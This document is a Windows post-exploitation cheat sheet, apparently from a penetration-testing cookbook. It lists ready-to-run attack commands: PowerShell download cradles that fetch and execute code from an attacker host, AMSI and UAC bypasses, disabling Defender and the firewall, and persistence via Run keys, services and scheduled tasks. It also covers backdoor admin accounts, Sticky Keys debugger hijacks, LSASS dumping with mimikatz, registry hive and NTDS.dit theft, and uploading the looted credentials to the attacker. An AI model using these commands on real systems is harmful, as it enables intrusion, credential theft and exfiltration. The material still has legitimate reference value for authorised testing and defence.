~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/amsi-bypass.ps1')
`` Is UAC enabled?
~> reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
`` Disable UAC (Vista, 7, 8, 10)
~> reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
`` UAC bypass by mounting system
~> net.exe use Z: \\127.0.0.1\c$
~> cd C$
`` Reading files
~PS> .\Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\system" -LocalDestination c:\%TEMP\system.bak
~PS> .\Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination c:\%TEMP\sam.bak
`` JScript Assembly
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');$js = 'var js = new ActiveXObject("WScript.Shell");js.Run("calc");'[Microsoft.JScript.Eval]::JScriptEvaluate($js,[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine());
`` XML/XSL
~PS> $s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('http://VAR_ATTACKER_HOST/xsl-notepad.xsl',$s,$r);$x.Transform('http://VAR_ATTACKER_HOST/xsl-notepad.xml','z');del z;
`` SCT
`` Powershell VBScript Assembly SCT "Fetch & Execute"
~PS> [Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:http://VAR_ATTACKER_HOST/notepad.sct').Exec(0)
`` Powershell JScript Assembly SCT "Fetch & Execute"
~PS> [Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script:http://VAR_ATTACKER_HOST/notepad.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
`` Loading .Net/C# Assemblies to Bypass AppLocker Default Rules w/ PowerShell Diagnostic Scripts
~> powershell.exe -v 2 -ep bypass
~PS> cd C:\windows\diagnostics\system\AERO
~PS> import-module .\CL_LoadAssembly.ps1
~PS> LoadAssemblyFromPath ..\..\..\..\path\assembly.exe
~PS> [name.space]::executesomething()
`` Command Invocation w/ PowerShell Diagnostic Scripts
~> powershell.exe -v 2 -ep bypass
~PS> cd C:\windows\diagnostics\system\AERO
~PS> import-module CL_Invocation.ps1
~PS> SyncInvoke notepad.exe
`` PowerShell CL Download Cradle
~PS> $a = New-Object System.Xml.XmlDocument
~PS> $a.Load("http://VAR_ATTACKER_HOST/notepad.xml")
~PS> $a.command.a.execute | iex
`` Installing root certificate
~> certutil.exe -addstore -f -user Root %TEMP%\cert.cer
~PS> Import-Certificate -FilePath %TEMP%\cert.cer -CertStoreLocation Cert:\CurrentUser\Root\
`` diskshadow.exe
`` Interactive
~> c:\windows\system32\diskshadow.exe
> exec calc.exe
> exec "cmd.exe" /c calc.exe
> exit
`` Script (diskshadow.txt)
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
exec "cmd.exe" /c reg.exe save hklm\system c:\exfil\system.bak
delete shadows volume %someAlias%
reset
`` Execution
~> diskshadow.exe /s c:\test\diskshadow.txt
`` Persistence
~> schtasks.exe /create /sc hourly /tn VSSTask /tr "diskshadow.exe /s c:\test\diskshadow.txt"
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v VSSRun /t REG_EXPAND_SZ /d "diskshadow.exe /s c:\test\diskshadow.txt"
`` Uninstall Windows patch
~> wusa /uninstall /kb:4498932 /quiet /norestart
`` Persistence
`` Registry
-- Screen saver
~> reg.exe add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /d c:\shell.cmd
~PS> New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name PersistCalc -PropertyType String -Value "C:\Windows\System32\calc.exe"
`` Accounts
`` CLI
~> net.exe user VAR_USERNAME VAR_PASSWORD /add
~> net.exe localgroup administrators VAR_USERNAME /add
~> net.exe localgroup "Remote Desktop Users" VAR_USERNAME /add
`` useradd.c
@ snippets/windows/backdoors/useradd.c
`` Services
`` Use e.g. ServiceWrapper
-- Executable must be wrapped as a Windows service
~> sc.exe create VAR_NAME binpath= "C:\Program Files\Intel\update.exe"
-- Now allow all authenticated users to take control over the service using SDDL format, e.g.
~> sc.exe sdshow VAR_NAME
D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
-- VAR_STRING must be the result from sc sdshow plus "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)" (allow all to authenticated users) (in the D: section, right before S:)
~> sc.exe sdset VAR_NAME VAR_STRING
`` Launch command prompt on demand
~> sc.exe create VAR_NAME binpath= "cmd.exe /K start" type= own type= interact start= demand
-- Add permissions as above
`` Services
~> sc.exe \\VAR_TARGET_HOST create VAR_STRING binpath= "c:\Windows\Temp\foobar.exe"
~> sc.exe \\VAR_TARGET_HOST start VAR_STRING
~> sc.exe \\VAR_TARGET_HOST delete VAR_STRING
`` Registry
`` Command will run every time a user logs in as the user
~> reg.exe add "\\VAR_TARGET_HOST\HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VAR_STRING" /t REG_SZ /d "VAR_STRING"
`` Query the remote registry
~> reg.exe query "\\VAR_TARGET_HOST\HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VAR_STRING"
`` Delete the remote registry
~> reg.exe delete "\\VAR_TARGET_HOST\HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VAR_STRING"
`` Startup
`` Executes every time a user logs in
~> xcopy foobar.exe "\\VAR_TARGET_HOST\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\launcher.bat"
`` Scheduler
`` Create new task and execute it
~> schtasks.exe /create /tn VAR_STRING /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S VAR_TARGET_HOST /RU System
~> schtasks.exe /run /tn VAR_STRING /S VAR_TARGET_HOST
~> schtasks.exe /create /sc minute /mo 10 /tn VAR_STRING /tr c:\windows\temp\foobar.exe
`` Delete the task after it is executed
~> schtasks.exe /F /delete /tn VAR_STRING /S VAR_TARGET_HOST
`` Windows Firewall
`` Stop service
~> net.exe stop MspSvc
~> netsh.exe advfirewall set allprofiles state off
~> netsh.exe advfirewall show allprofiles
~> netsh.exe firewall set opmode disable
`` RDP
~> net.exe start TermService
~> netsh.exe add portopening TCP 3389 "Remote Desktop"
~> netsh.exe firewall set service RemoteAdmin enable
~> netsh.exe firewall set service RemoteDesktop enable
~> sc.exe config TermService start= auto
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 1 /f
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f
`` Enable restricted admin mode
~> reg.exe add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa" /v "DisableRestrictedAdmin" /t REG_DWORD /d 0 /f
`` Enabling scripts in Outlook client
`` Outlook 2016
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v "EnableUnsafeClientMailRules" /t REG_DWORD /d 1 /f
`` Outlook 2013
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Security" /v "EnableUnsafeClientMailRules" /t REG_DWORD /d 1 /f
`` Outlook 2010
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Security" /v "EnableUnsafeClientMailRules" /t REG_DWORD /d 1 /f
`` Physical access
`` Replace with cmd.exe (Sticky Keys)
-- SHIFT 5 times
C:\Windows\System32\sethc.exe
-- WINDOWS+U
C:\Windows\System32\Utilman.exe
-- WINDOWS+U, on-screen keyboard
C:\Windows\System32\osk.exe
-- WINDOWS+P
C:\Windows\System32\DisplaySwitch.exe
`` Attach debugger, for example:
~> reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe /k" /f
`` Windows 10 (virtual keyboard)
~> reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v "Debugger" /t REG_SZ /d "cmd.exe" /f
`` Runas
@ snippets/windows/utils/runas*
`` Looting
`` Standard looting procedure after getting local admin
-- Start HTTP receiver
~$ ~/lib/pentesting-cookbook/bin/httpd.py -p 8008
-- Is Tamper Protection enabled?
~PS> (Get-MpComputerStatus).IsTamperProtected
-- If not, disable Windows Defender, sample submission and cloud analytics
-- Otherwise disable Tamper Protection using GUI first
~> powershell.exe -c "Set-MpPreference -DisableRealtimeMonitoring 1 -SubmitSamplesConsent NeverSend -MAPSReporting Disabled"
-- Download tools
~> mkdir c:\Windows\Tasks\tmp\
~> curl.exe "http://VAR_ATTACKER_HOST/mimidrv.sys" -o C:\Windows\system32\IntelAudioRTX.sys
~> curl.exe "http://VAR_ATTACKER_HOST/minidump.exe" -o C:\Windows\Tasks\tmp\minidump.exe
~> curl.exe "http://VAR_ATTACKER_HOST/mimikatz.exe" -o C:\Windows\Tasks\tmp\mimikatz.exe
-- Disable LSASS process protection
~> sc.exe create IntelAudioRTX binPath= C:\Windows\system32\IntelAudioRTX.sys type= kernel start= demand
~> sc.exe start IntelAudioRTX
~> powershell
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/amsi.txt') | IEX
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/mimikatz.txt') | IEX
~PS> Invoke-Mimikatz -Command "`"!processprotect /process:lsass.exe /remove`""
~PS> exit
-- Dump LSASS process memory
~> mkdir C:\Windows\Tasks\tmp\loot
~> C:\Windows\Tasks\tmp\minidump.exe
~> move C:\Windows\Tasks\lsass.dmp C:\Windows\Tasks\tmp\loot\
-- Grab the most important things related to Kerberos and locally stored credentials
~> powershell
~PS> cd C:\Windows\Tasks\tmp\loot
~PS> C:\Windows\Tasks\tmp\mimikatz.exe "privilege::debug" "sekurlsa::minidump C:\Windows\Tasks\tmp\loot\lsass.dmp" "sekurlsa::logonpasswords" "sekurlsa::tickets /export" "sekurlsa::ekeys" exit > C:\Windows\Tasks\tmp\loot\mimikatz.log
-- Compress and send home (using ~/lib/pentesting-cookbook/bin/httpd.py on the other end)
~> tar.exe -a -c -f C:\Windows\Tasks\tmp.zip C:\Windows\Tasks\tmp\loot
-- Configure the client in case there's a web proxy
~PS> [System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy()
~PS> [System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
-- And now send home (using ~/lib/pentesting-cookbook/bin/httpd.py on the other end)
~PS> (New-Object System.Net.WebClient).UploadFile('http://VAR_ATTACKER_HOST:8008/dc.example.com.zip', 'C:\Windows\Tasks\tmp.zip')
`` Passwords
`` Registry
- HKCU\Software\ORL\WinVNC3\Password
- HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #Autologi
- HKLM\SYSTEM\CurrentControlSet\Services\SNMP
- HKCU\Software\TightVNC\Server
- HKCU\Software\SimonTatham\PuTTY\Sessions
- HKCU\Software\OpenSSH\Agent\Key
~> reg.exe save "HKLM\SYSTEM" %TEMP%\SYSTEM.bak
~> reg.exe save "HKLM\SAM" %TEMP%\SAM.bak
~> reg.exe save "HKLM\SECURITY" %TEMP%\SECURITY.bak
~> reg.exe query HKLM /f password /t REG_SZ /s
~> reg.exe query HKCU /f password /t REG_SZ /s
`` Windows Server 2007
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\SAM.OLD
C:\Windows\System32\config\RegBack\SYSTEM
C:\Windows\System32\config\RegBack\SYSTEM.OLD
`` Windows XP
C:\Windows\repair\SAM
C:\Windows\repair\SECURITY
C:\Windows\repair\system
`` Other locations
~> dir %SYSTEMROOT%\repair\SAM 2>nul
~> dir %SYSTEMROOT%\System32\config\RegBack\SAM 2>nul
~> dir %SYSTEMROOT%\System32\config\SAM 2>nul
~> dir %SYSTEMROOT%\repair\system 2>nul
~> dir %SYSTEMROOT%\System32\config\SYSTEM 2>nul
~> dir %SYSTEMROOT%\System32\config\RegBack\system 2>nul
~> dir /a /b /s SAM.b*
`` Windows Autologin
~> reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
`` Putty
~> reg.exe query "HKCU\Software\SimonTatham\PuTTY\Sessions"
`` Stored credentials (DPAPI)
`` Windows Vista and later
- C:\Users\VAR_USERNAME\AppData\Roaming\Microsoft\Credentials
- C:\Users\VAR_USERNAME\AppData\Local\Microsoft\Credentials
`` Windows 8 and later
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials
`` Windows XP
- C:\Documents and Settings\VAR_USERNAME\Application Data\Microsoft\Credentials
- C:\Documents and Settings\VAR_USERNAME\Local Settings\Application Data\Microsoft\Credentials
`` Vault
- C:\Users\VAR_USERNAME\AppData\Local\Microsoft\Vault
- C:\ProgramData\Microsoft\Vault
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault
~$ python /opt/impacket/examples/dpapi.py credential -file credentials
`` Force wdigest provider to keep passwords, ask users to log in:
~> reg.exe add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
`` Wireless